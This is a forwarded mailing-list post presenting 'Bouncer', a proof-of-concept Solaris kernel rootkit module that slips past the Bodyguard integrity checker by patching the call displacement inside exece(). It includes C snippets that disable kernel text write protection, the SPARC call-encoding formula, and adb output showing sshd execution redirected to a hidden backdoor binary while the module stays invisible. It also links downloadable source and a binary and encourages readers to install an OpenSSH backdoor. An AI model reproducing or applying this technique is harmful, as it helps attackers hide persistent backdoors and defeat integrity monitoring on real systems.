[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]

UnBodyGuard a.k.a Bouncer (Solaris kernel function hijacking) (fwd)




Resend:
attachment moved to http://gsu.linux.org.tr/~noir/b.tar.gz
since no more than 100K is allowed

Hi,

Recently, Dave Aitel posted a link to a loadable kernel module for the
Solaris operating system to check its kernel integrity against backdoors.
I downloaded and do some quick analysis on the "product". Simply it does
md5 checksuming on the sysent32 table where pointers to syscall handling
kernel functions reside. These pointers are well known to be manipulated by
backdoor lkm's to change the execution order and pre-execute some hacker
code that will hide things or feed false information.

I would like to demostrate a rather stealth technique that will bypass
checks that are done by Bodyguard (Dave's lkm). Similar techniques have
been developed for Linux by Silvio and most recently by mayhem. But my
implementation has a major difference than Silvio's and mayhem's
kernel function hooking; Rather than inserting a jump/call instruction on
functions entry point, I choose to change displacement of the call
instructions that are used on system call dispacthing.

Following text will explain the glory details ... also attached is
the source of my proof of concept code named: BOUNCER plus a precompiled
binary of the source. Source will only compile with Sun Workshop compiler,
do not even bother with gcc.
Binary and source is coded/compiled on Solaris 7 and 8 sun4u with 64 bits
kernel. Try it on only on Solaris 7 or 8 with 64 bit kernel image (isainfo
-b).

In his "product" demo, Dave checks for execve system call (only execve and
stat64 indeed), for demostrations sake I will hook the execve syscall and
redirect /usr/local/sbin/sshd execution to /usr/lib/.funky/sshd
(kids, you can grab your favorite OpenSSH backdoor and place it under /usr/lib/.funky/)

Here are the details:
bash-2.03# adb -k /dev/ksyms
physmem 3b5b
exece/5i
exece:
exece:          save    %sp, -0xb0, %sp
                mov     %i0, %o0
                mov     %i1, %o1
                call    exec_common
                mov     %i2, %o2
After the userland trap instruction kernel dispacthes the execve system
call to the exece() function, as we can see exece() directly call
exec_common() without touching anything, this is the instruction
"call exec_common" that we are going to hijack!! and change the
displacement to our newly inserted code: hook_execcommon()

exece+0xc/i
exece+0xc:      call    exec_common
.=X
                10086cf0
10086cf0/X
exece+0xc:      4000000c
this is the value before patching it

but we will face an obstacle here since the kernel text is read and
execute only in Solaris kernel. there is no such issue on Linux since
kernel text is rwx ... here is how to overcome the problem:B

unsigned int gprot;
              |--> a global to store the orginal protection bits
...
...
..
int
_init(void)
....

 if((i = hat_getattr(kas.a_hat, (caddr_t) orig_exece, &gprot)) != 0)
        goto out;            |
			     |--> get the page protection bits and store it in gprot


 hat_setattr(kas.a_hat, (caddr_t) orig_exece, 0x4, PROT_WRITE);
                                                     |--> set
							>PROT_WRITE bit

 *(int *) orig_exece = call_ins;
                        |--> patch the kernel text with our call instruction

 hat_chgattr(kas.a_hat, (caddr_t) orig_exece, 0x4, gprot);
                                      |--> restore the page protection

....

that's it ;-), simple as that... and on _fini we do the same routine to
restore the original call instruction

also here is how the displacement for the call instruction is calculated:
                                     ____________________________
call instruction on SPARC cpu is:    |01|    30bit displacement  |
                                     ----------------------------
all you have to do is find the difference between 2 addresses
(hook_execcommon - (exece+0xc)) bitwise shit it 2 bits to right than OR it
with 0x40000000, done!

Additional side note: bouncer does not even reads from the sysent/sysent32
table, it uses kobj_getsymvalue(char *,  int) function to resolve the
kernel symbols like exece, exec ...

let's continue
bash-2.03# modload bouncer              ---> lets load our module
bash-2.03# adb -k /dev/ksyms
physmem 3b5b
exece/5i
exece:
exece:          save    %sp, -0xb0, %sp
                mov     %i0, %o0
                mov     %i1, %o1
                call    hook_execcommon  ---> w0w!!! it is patched
                mov     %i2, %o2
exece+0xc/i
exece+0xc:      call    hook_execcommon
.=X
                10086cf0
10086cf0/X
exece+0xc:      400675c0
$q

bash-2.03# /usr/local/sbin/sshd
bash: /usr/lib/.funky/sshd: No such file or directory
		|--> i don't run OpenSSH, backdoor is active!
bash-2.03# modinfo | grep bouncer
		|--> invisible, but I can guess da number ;)
bash-2.03# modunload -i 118   --> lets unload and do sanity check!! ;-p
bash-2.03# adb -k /dev/ksyms
physmem 3b5b
exece+0xc/i
exece+0xc:      call    exec_common     --> cool back to normal
.=X
                10086cf0
10086cf0/X
exece+0xc:      4000000c
$q

bash-2.03#

a clean unload....

hope somebody enjoyed it.

later,
noir

ohh!!!!! of course the credits:
Thanks to Dave Aitel for making me think about this ....

greetz and thankz to Optyx for being a real cool dad! ;-)
Dan for being sharp as blade, cool as hell!! respect!

And additional thanks to Agayev, Hamlin, Mis Skywalker for extensively
testing my backdoors even on their production environments, without you
guys I'm nothing! ;-P

no thanks to lamers at the so called tr scene!, you know who you are,
delphi boys, pcap kids!